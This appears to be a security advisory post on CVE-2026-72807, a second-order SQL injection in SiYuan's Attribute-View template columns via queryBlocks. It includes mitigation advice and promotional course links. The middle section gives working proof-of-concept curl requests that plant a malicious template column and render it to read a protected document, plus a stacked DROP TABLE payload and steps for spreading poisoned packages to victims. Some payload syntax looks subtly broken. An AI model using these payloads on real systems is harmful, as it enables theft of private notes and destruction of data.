Listen to this Post
CVE-2026-72807 describes a second-order SQL injection vulnerability in SiYuan’s Attribute-View (AV) template columns. AV template columns are evaluated live during each render, unlike document-level `{{…}}` templates which become static at insertion. The vulnerable function is queryBlocks, which is exposed to these live templates. Internally, `queryBlocks` calls `SelectBlocksRawStmt` on the primary read-write database handle—a forked go-sqlite3 driver that supports statement stacking. Critically, the function passes its argument via `?→` string substitution rather than using SQL parameter binding. This means that an attacker-controlled string is directly interpolated into the SQL statement, allowing arbitrary SQL syntax to be injected.
Although AV mutations are gated behind administrative privileges, preventing direct remote code execution by unauthenticated readers, the attack vector is second-order. An attacker can craft a SiYuan document or AV export package containing a malicious template column with a payload like .action{queryBlocks "<arbitrary SQL>"}. When a victim imports this package and renders the AV, the template executes on the victim’s kernel. The SQL runs with the same privileges as the kernel’s database connection, enabling cross-notebook reads. Furthermore, because statement stacking is supported, write operations (INSERT, UPDATE, DROP, etc.) are also possible by chaining statements. The surrounding SSTI surface is hardened—functions like env, expandenv, and `getHostByName` are deleted—leaving `queryBlocks` as the sole live-evaluated sink. The proof-of-concept demonstrates reading content from a password-protected document by executing a `SELECT` on the `blocks` table, with the result rendered directly in the AV cell. The vulnerability is triggered via a `POST /api/av/renderAttributeView` call after planting the column via a `performTransactions` operation. This issue affects any kernel that imports and renders malicious content, with the precondition of social engineering to deliver the package.
DailyCVE Form:
Platform: SiYuan
Version: All pre-patch
Vulnerability: Second-order SQLi
Severity: Medium
date: 2026-09-04
Prediction: Within 30 days
What Undercode Say:
Step 1: Create host document and AV (admin required)
curl -X POST "http://localhost:6806/api/filetree/createDocWithMd" \
-H "Content-Type: application/json" \
-d '{"notebook":"<NOTEBOOK_ID>","path":"/ssti-poc","markdown":"host"}'
Step 2: Render AV to materialize it (obtain AV ID from response)
curl -X POST "http://localhost:6806/api/av/renderAttributeView" \
-H "Content-Type: application/json" \
-d '{"id":"<AV_ID>"}'
Step 3: Plant malicious template column (performTransactions)
curl -X POST "http://localhost:6806/api/transactions" \
-H "Content-Type: application/json" \
-d '{
"reqId":1,
"session":"poc",
"transactions":[{
"doOperations":[
{"action":"addAttrViewCol","avID":"<AV_ID>","id":"<COL_ID>","name":"tpl","type":"template"},
{"action":"updateAttrViewColTemplate","avID":"<AV_ID>","id":"<COL_ID>","type":"template",
"data":".action{range queryBlocks \"SELECT FROM blocks WHERE root_id=''<TARGET_DOC_ID>''\"}.action{.Markdown} .action{end}"},
{"action":"insertAttrViewBlock","avID":"<AV_ID>","isDetached":true}
]
}]
}'
Step 4: Trigger render to execute the SQL
curl -X POST "http://localhost:6806/api/av/renderAttributeView" \
-H "Content-Type: application/json" \
-d '{"id":"<AV_ID>"}'
Example stacked write payload (UNION + DROP)
data: ".action{range queryBlocks \"SELECT 1 UNION SELECT DROP TABLE malicious\"}.action{end}"
Exploit: (Educational Purposes!)
- Craft an AV package containing a template column with a `queryBlocks` payload that exfiltrates or modifies data.
- Distribute the package via shared documents or importable archives.
- Upon victim import and AV render, the SQL executes on the victim’s kernel.
- Use stacked queries to perform writes: `SELECT FROM blocks; DROP TABLE important` (if stacked allowed).
- Read password-protected or cross-notebook content by querying the `blocks` table directly.
Protection: from this CVE
- Parameterize `queryBlocks` by binding arguments via prepared statements instead of `?→` string substitution.
- Restrict the available template functions in AV columns, mirroring the doc‑template hardening (remove `queryBlocks` entirely).
- Treat all imported template content as untrusted and sanitize or sandbox at render time.
- Apply vendor patch immediately upon release; in the interim, disable AV rendering for untrusted packages.
Impact:
Arbitrary SQL execution on the victim’s kernel with read and write capabilities. An attacker can read any document content (including password-protected) across notebooks, and via statement stacking, can modify or delete database records. The precondition requires user interaction (import and render a malicious package), limiting severity to Medium, but the lateral data breach potential is significant.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
